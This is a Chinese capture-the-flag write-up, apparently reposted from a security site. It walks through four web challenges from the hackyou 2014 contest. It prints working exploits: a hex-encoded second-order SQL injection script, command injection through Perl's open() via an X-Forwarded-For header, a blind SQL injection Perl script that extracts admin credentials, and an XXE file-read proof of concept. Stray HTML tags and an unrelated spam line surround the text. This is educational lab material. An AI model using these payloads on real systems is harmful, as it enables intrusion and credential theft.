<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/870

            作者:Mickey,瞌睡龍

            所有文件已打包可自己搭建測試:

            CTF.zip

            第一關


            http://hackyou2014tasks.ctf.su:10080/

            打開網頁,通過看源代碼發現有

            #!html
            <!-- TODO: remove index.phps -->
            

            嘗試訪問index.phps,如圖1,

            2014012112115741016.png

            通過查看index.phps,發現源代碼如下:

            #!php
            <?php
            include 'db.php';
            session_start();
            if (!isset($_SESSION['login'])) {
                $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
            }
            $login = $_SESSION['login'];
            
            if (isset($_POST['submit'])) {
                if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
                    die('Hacking attempt!');
                $id = $_POST['id'];
                $vote = (int)$_POST['vote'];
                if ($vote > 5 || $vote < 1)
                    $vote = 1;
                $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
                $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
                echo '<p><b>Thank you!</b> Results:</p>';
                echo '<table border="1">';
                echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
                while ($r = mysql_fetch_array($q)) {
                    $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
                    echo '<tr><td>'.$arr[0].'</td>';
                    $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
                    echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
                }
                echo '</table>';
                echo '<br><a href="index.php">Back</a><br>';
                exit;
            }
            ?>
            <html>
            <head>
                <title>Picture Gallery</title>
            </head>
            <body>
            <p>Welcome, <?php echo $login; ?></p>
            <p>Help us to choose the best logo!</p>
            <form action="index.php" method="POST">
            <table border="1" cellspacing="5">
            <tr>
            <?php
            $q = mysql_query('SELECT * FROM picture');
            while ($r = mysql_fetch_array($q)) {
                echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
            }
            ?>
            </tr>
            </table>
            <p>Your vote:
            <select name="vote">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            </select></p>
            <input type="submit" name="submit" value="Submit">
            </form>
            </body>
            </html>
            <!-- TODO: remove index.phps -->
            

            其中id是被is_numeric過濾后,插入到vote表里的,可以用十六進制或者二進制繞過is_numeric,把注入查詢語句插入到vote表里,然后又從vote表里取出,形成二次注入。

            POC如下:

            #!python
            #!/usr/bin/env python
            import requests
            import binascii
            import sys
            
            def hack(inject):
                vul={'id':inject,'vote':3,'submit':1}
                req=requests.post('http://hackyou2014tasks.ctf.su:10080/index.php',data=vul)
                print req.content
            
            if __name__=="__main__":
                hack("0x" + binascii.hexlify(sys.argv[1]))
            

            效果圖如2

            2014012112121549265.png

            第二關


            http://hackyou2014tasks.ctf.su:20080/

            這關打開后是個貪吃蛇游戲,只有注冊用戶才能保存結果,我們注冊一個用戶babybox,玩完游戲后訪問后臺,發現有個ip參數值得注意,嘗試提交

            http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../../../../../var/www/cgi-bin/index.pl
            

            發現有LFI,如圖3

            2014012112125366530.png

            通過讀取到的index.pl源碼可以發現,

            #!perl
            $login = $session->param('login');
            print $req->p('Hello, '.$login.'!');
            if ($req->param('ip')) {
                $file = './data/'.MD5($login)."/".$req->param('ip');
                if (-e $file) {
                    open FILE, $file;
                    $html = '';
                    while (<FILE>) {
                        $html .= $_;
                    }
                    close(FILE);
                    print $req->start_table({border=>1});
                    print $req->Tr($req->th(['Date', 'Score']));
                    print $html;
                    print $req->end_table();
                    print $req->a({href=>'index.pl'}, 'Back');
                } else {
                    print $req->h1('Error');
                }
            }
            

            其中的open函數,可以導致命令執行,下載火狐的X-Forwarded-For Header插件,設置X-Forwarded-For為|pwd|,然后玩游戲,進后臺看成績,提交

            http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|pwd|
            

            發現命令注入成功了。由于這里不能使用/和\字符,我們可以使用base64編碼下,如圖4

            這之前需要在提交成績的時候X-Forwarded-For改為

            |`echo bHMgLw== | base64 -d`|
            

            2014012112130828316.png

            第三關


            http://hackyou2014tasks.ctf.su:30080/

            這關可分為兩部分

            1、找到隱藏的管理后臺
            2、盲注獲取權限
            

            找到隱藏的管理后臺需要利用windows平臺上的一個技巧,具體的研究測試報告可以看這里:

            Windows+PHP bug realted with findfirstfile

            php的某些函數獲取文件時,可以使用<代替其他字符進行猜解。

            p<<
            

            表示

            p*
            

            include_once函數包含文件將會返回以p開頭的第一個文件,這里返回了phpinfo()的信息。

            可以知道后臺的數據庫是firebird,如圖5,

            2014012112133660316.png

            然后猜解后臺目錄:

            http://hackyou2014tasks.ctf.su:30080/index.php?page=0<<
            http://hackyou2014tasks.ctf.su:30080/index.php?page=0a<<
            

            根據頁面返回當中是否有

            Page does not exists
            

            字符串,來判斷猜解的字符串是否正確。

            然后用burpsuite去猜測剩余的字符,全部猜測成功后,發現

            http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php
            

            是個后臺登陸口,沒有賬號,繼續翻前臺,發現

            http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost
            

            有注入

            http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC
            

            其實看到order參數,就很容易猜測可能是order by語句后的注入 :)

            針對這個場景,firebird數據庫,可控語句在order by之后,只能采取盲注:

            已有人寫好跑數據的perl腳本:

            #!perl
            use LWP::Simple;
            #username:password
            #admin:9shS3FAk
            
            # extract columns from USERS
            
            $url="http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=";
            
            $fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
            $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
            $b=0;
            
            
            # LOGIN column part
            for($j=0;$j<100;$j++){
            for($i=97;$i<122;$i++){
                    $sql=$url.$fst."ascii_char(".$i.")".$snd;
                    #print "j: ".$j." i:".$i."\n";
                    $html=get $sql;
                    if ($html=~/1337/ && $i!=37 && $i!=95){
                            print chr($i);
                            $fst.="ascii_char(".$i.")||";
            
                            last;
                    }else{
                            $b++;
                    }
            }
            if($b==122-97){
                    last;
            }else{
            $b=0;
            }
            }
            print "\n";
            
            # PASSWD column part
            $fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
            $b=0;
            for($j=0;$j<100;$j++){
            for($i=97;$i<122;$i++){
                    $sql=$url.$fst."ascii_char(".$i.")".$snd;
            
                    $html=get $sql;
                    if ($html=~/1337/ && $i!=37 && $i!=95 && $i!=108){
                            print chr($i);
                            $fst.="ascii_char(".$i.")||";
                            last;
                    }else{
                            $b++;
                    }
            }
            if($b==122-97){
                    last;
            }else{
            $b=0;
            }
            }
            print "\n";
            
            #extract data from USERS ( LOGIN,PASSWD)
            
            $fst="case when(1=(select first 1 1 from USERS where LOGIN LIKE ";
            $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
            for($j=0;$j<100;$j++){
            for($i=65;$i<=122;$i++){
                    $sql=$url.$fst."ascii_char(".$i.")".$snd;
                    #print $j." ".$i."\n";
            
                    $html=get $sql;
                    if ($html=~/1337/ && $i!=37 && $i!=95){
                            print chr($i)."\n";
                            $fst.="ascii_char(".$i.")||";
                            last;
                    }else{
                            $b++;
                    }
            }
            if($b==123-65){
                    last;
            }else{
            $b=0;
            }
            }
            print "\n";
            
            $fst="case when(1=(select first 1 1 from USERS where PASSWD LIKE ";
            $snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
            for($j=0;$j<100;$j++){
            for($i=48;$i<=122;$i++){
                    $sql=$url.$fst."ascii_char(".$i.")".$snd;
                    #print $j." ".$i."\n";
            
                    $html=get $sql;
                    if ($html=~/1337/ && $i!=37 && $i!=95){
                            print chr($i)."\n";
                            $fst.="ascii_char(".$i.")||";
                            last;
                    }else{
                            $b++;
                    }
            }
            if($b==123-48){
                    last;
            }else{
            $b=0;
            }
            }
            print "\n";
            

            最后可以看到數據為:

            admin
            9shS3FAk
            

            到登陸頁面登陸即可過關。

            第四關


            這關提供源碼下載了,http://hackyou.ctf.su/files/web400.zip

            #!php
            <?php
            include 'config.php';
            include 'classes.php';
            $action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
            $param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
            $page = new $action($param);
            echo $page;
            ?>
            

            看這行

            #!php
            $page = new $action($param);
            

            我們能實例化任意的類,并且傳遞$param給構造函數,我們先拿SimpleXMLElement看看效果

            http://cn2.php.net/manual/en/simplexmlelement.construct.php

            POC如下:

            #!python
            #!/usr/bin/env python
            import requests
            import sys
            import base64
            
            def hack(inject):
                vul={'param':'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "' + inject + '" >]><foo>&xxe;</foo>'}
                req=requests.post('http://hackyou2014tasks.ctf.su:40080/index.php?action=SimpleXMLElement',data=vul)
                print base64.b64decode(req.content)
            
            if __name__=="__main__":
                hack(sys.argv[1])
            

            效果如圖6:

            2014012112143046600.png

            也可以用SplFileObject

            http://cn2.php.net/manual/en/splfileobject.construct.php

            效果圖如7:

            2014012112144854244.png

            最后用GlobIterator得到結果

            http://cn2.php.net/manual/en/globiterator.construct.php

            效果圖如8:

            2014012112150472274.png

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线